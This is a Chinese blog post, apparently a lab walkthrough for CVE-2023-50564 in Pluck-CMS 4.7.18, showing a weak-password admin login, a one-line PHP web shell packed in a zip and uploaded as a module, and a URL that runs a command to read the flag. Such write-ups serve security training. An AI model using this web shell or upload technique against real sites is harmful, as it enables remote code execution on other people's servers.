春秋云境CVE-2023-50564

最新推荐文章于 2024-05-20 02:54:15 发布
最新推荐文章于 2024-05-20 02:54:15 发布
阅读量268 收藏
点赞数 2
分类专栏： web安全靶场合集 文章标签： web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/shr592833253/article/details/137630712
版权

靶场介绍：Pluck-CMS v4.7.18 中的 /inc/modules_install.php 组件，攻击者可以通过上传一个精心制作的 ZIP 文件来执行任意代码。

进入靶场后点击admin，来到管理员登录界面

尝试弱口令，最终发现密码位admin123

点击manage modules,随后进入Install a module...Install a module...

​

​

可以看见文件上传的地方

​

接下来是重点！！！

我们需构造一个命令执行文件，然后将其放到任意命名的文件夹中，如下图所示

<?php system($_GET[1]);phpinfo();?> 

​

​

然后将文件夹打包为zip的后缀压缩包，切记，不要直接改文件后缀名！上传成功！

​

最后访问

http://你的IP/data/modules/hh/3.php?1=cat%20/flag

即可成功拿到flag

咦哈~
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CVE-2023-6548 和 CVE-2023-65的Citrix Netscaler/ADC-13.0-92.21 最新补丁
01-19
针对CVE-2023-6548 和 CVE-2023-6549 的 NetScaler ADC 和 NetScaler Gateway 的漏洞补丁升级包 CVE-2023-6548 ：在管理接口上执行经过身份验证的（低特权）远程代码 CVE-2023-6549：拒绝服务 2、 强烈建议受影响...
春秋云境CVE-2023-27372
m0_64432806的博客
03-16 487
SPIP cms V4.2.1之前版本允许通过公共区域中的表单值远程执行代码，因为序列化处理不当，没有对序列化字符串进行过滤从而触发命令执行漏洞。
【春秋云境】CVE-2023-50564 Pluck-CMS v4.7.18 后台文件上传漏洞一把梭
HMX404的博客
04-03 363
Pluck-CMS v4.7.18 中的 /inc/modules_install.php 组件，攻击者可以通过上传一个精心制作的 ZIP 文件来执行任意代码。
春秋云境CVE-2023-1313
m0_64432806的博客
03-27 504
春秋云境CVE-2023-1313 cockpit在2.4.1版本之前存在任意文件上传漏洞PS：通过在浏览器中打开/install来运行安装
春秋云境-CVE-2020-17530
qq_63265389的博客
04-15 328
对CVE-2019-0230的绕过，Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒，而CVE-2020-17530绕过了该沙盒。当对标签属性中的原始用户输入进行评估时，强制 OGNL 评估可能会导致远程代码执行。找一下poc nothing很烦有了Apache Struts 框架在强制时，会对分配给某些标签属性（如 id）的属性值执行双重评估。因此，可以将一个值传递给 Struts，该值将在呈现标签的属性时再次评估。通过精心构建的请求，这可能会导致远程代码执行。
春秋云境CVE-2022-25401
suran0403的博客
04-06 256
Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞。
春秋云境 CVE-2022-4230 夺旗
05-02
介绍如何 利用 CVE-2022-4230 的 WP Statistics WordPress 插件13.2.9 漏洞利用。 漏洞描述：WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认...
OpenSSH(CVE-2023-38408)一键升级修复-OpenSSH9.5p1
10-17
一键备份升级Openssh9.5p1 解决CVE-2023-38408,具体步骤见
CVE-2023-25157-main(1).zip
07-19
复现GeoServer CVE-2023-25157 SQL注入
HCIP-Datacom-ARST自选题库_02_网络安全【道题】
最新发布
2301_80961833的博客
05-20 657
为了防止黑客通过MAC地址攻击用户设备或网络，可将非信任用户的MAC地址配置为黑洞MAC地址，过滤掉非法MAC地址。中间人攻击或IP/MAC Spoofing攻击都会导致信息泄露等危害，且在内网中比较常见，为了防止中间人攻击或IP/MACSpoofing攻击，可以采取以下哪些配置手段?多远题461/805、为了防止仿冒DHCP服务器接入网络，可以在交换机上开启DHCP Snooping功能，配置步骤包括以下哪些选项?开启DHCP Snooping检查DHCP REQUEST报文中CHADDR字段的功能。
web安全之登录框渗透骚姿势，新思路
qq_47289634的博客
05-10 632
越权漏洞的挖掘大部分是通过对比两个用户的请求包以及响应包，来观察不同之处，有的时候替换一下响应包就直接越权，其中特别要关注的是uid，这里在挖掘逻辑漏洞和越权漏洞时建议使用burp中的compare模块进行两个数据包的比对，非常直观。width=500&height=100导致可以随意更改大小，配合脚本批量请求，很容易就会把带宽占满，造成dos攻击。不管漏洞挖掘还是挖SRC，登录框都是重点关注对象，什么漏洞都有可能出现，登录框也是框，见框就插就对了，说不定会有奇效。看到登录框，输入信息后，抓包。
了解网络安全行业内有哪些公司？
aheyor的博客
05-14 946
https://wenku.baidu.com/view/8de38c790440be1e650e52ea551810a6f424c80f?aggId=f2f58cc8e618964bcf84b9d528ea81c758f52ecc&fr=catalogMain_text_ernie_recall_feed_index%3Awk_recommend_main4&_wkts_=1715651666515&bdQuery=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85
Web安全：企业如何抵御常见的网络攻击？
m0_66326520的博客
05-16 686
针对网站的攻击有多种形式，攻击者既可以是业余黑客，也会是协同作战的职业黑客团伙。最关键的一条建议，就是在创建或运营网站时不要跳过安全功能，因为跳过安全设置可能会造成严重后果。虽然不可能完全消除网站攻击风险，但你至少可以缓解遭攻击的可能性和攻击后果的严重性。遭受攻击后，不仅需要及时的响应处置还需要避免同类事件的发生，因此事后的复盘分析尤为重要，做好安全防护才是最高效的网络攻击解决方案。
【网络安全】Linux 应急响应-溯源-系统日志排查知识点
weixin_43822401的博客
05-17 319
编辑或;
什么是蜜罐，在当前网络安全形势下，蜜罐能提供哪些帮助
dexunyun的博客
05-16 782
要建立一个成功的蜜罐系统，需要经过详细的规划和设计，并且与专业的安全团队合作，德迅云安全会根据用户的需求和威胁情报，选择合适的蜜罐类型和部署位置。而蜜罐就是其中重要的举措，旨在提供额外的安全层。蜜罐可以记录攻击者的工具、技术和过程信息，通过分析攻击者的行为、技术和策略，可以获取关于新的攻击向量、漏洞和威胁情报的重要信息。低交互蜜罐：低交互蜜罐只模拟了系统的一部分功能，通常只包括网络服务和部分应用程序，为攻击者提供简单的交互，配置简单，容易部署，但受限于交互能力，可能无法捕获高价值的攻击。
CTF网络安全大赛简单的web题：GET
Pythonit教程网
05-16 350
在上面的代码片段中，有几个问题和潜在的安全风险。首先，代码片段中缺少了PHP的
2024年网络安全威胁
dexun123的博客
05-15 801
随着2024年的到来，数字世界的版图正在以前所未有的速度扩张，引领我们进入一个技术革新的新时代。然而，这飞速的发展同时也催生了一系列错综复杂的网络安全挑战。在这个数字平台与我们生活日益紧密交织的时代，深入了解这些新兴的威胁，并预先做好相应的准备，不仅是审慎之举，更是明智之策。这一任务已然刻不容缓。今年，网络安全领域正处在一个至关重要的转折点。我们所面对的威胁不仅在技术上日益尖端，而且在手法上也愈发狡猾和隐蔽。勒索软件对组织构成的威胁是极其严重的，其潜在影响可能是毁灭性的。
春秋云境CVE-2022-29464
09-05
春秋云境CVE-2022-29464是指WSO2 API Manager 文件上传漏洞的CVE编号。这个漏洞允许攻击者通过上传恶意文件来执行任意代码，进而导致服务器受到攻击。根据引用，在GitHub上有一个项目，其中包含了与该漏洞相关的利用代码和解释。引用提供了一个具体的漏洞利用脚本的地址。如果您想了解更多关于该漏洞的细节和分析，可以参考引用中提到的文章。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [【春秋云境】CVE-2022-29464](https://blog.csdn.net/m0_49025459/article/details/130400369)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [春秋云境靶场 WSO2文件上传漏洞（CVE-2022-29464）](https://blog.csdn.net/qq_52923396/article/details/131832217)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值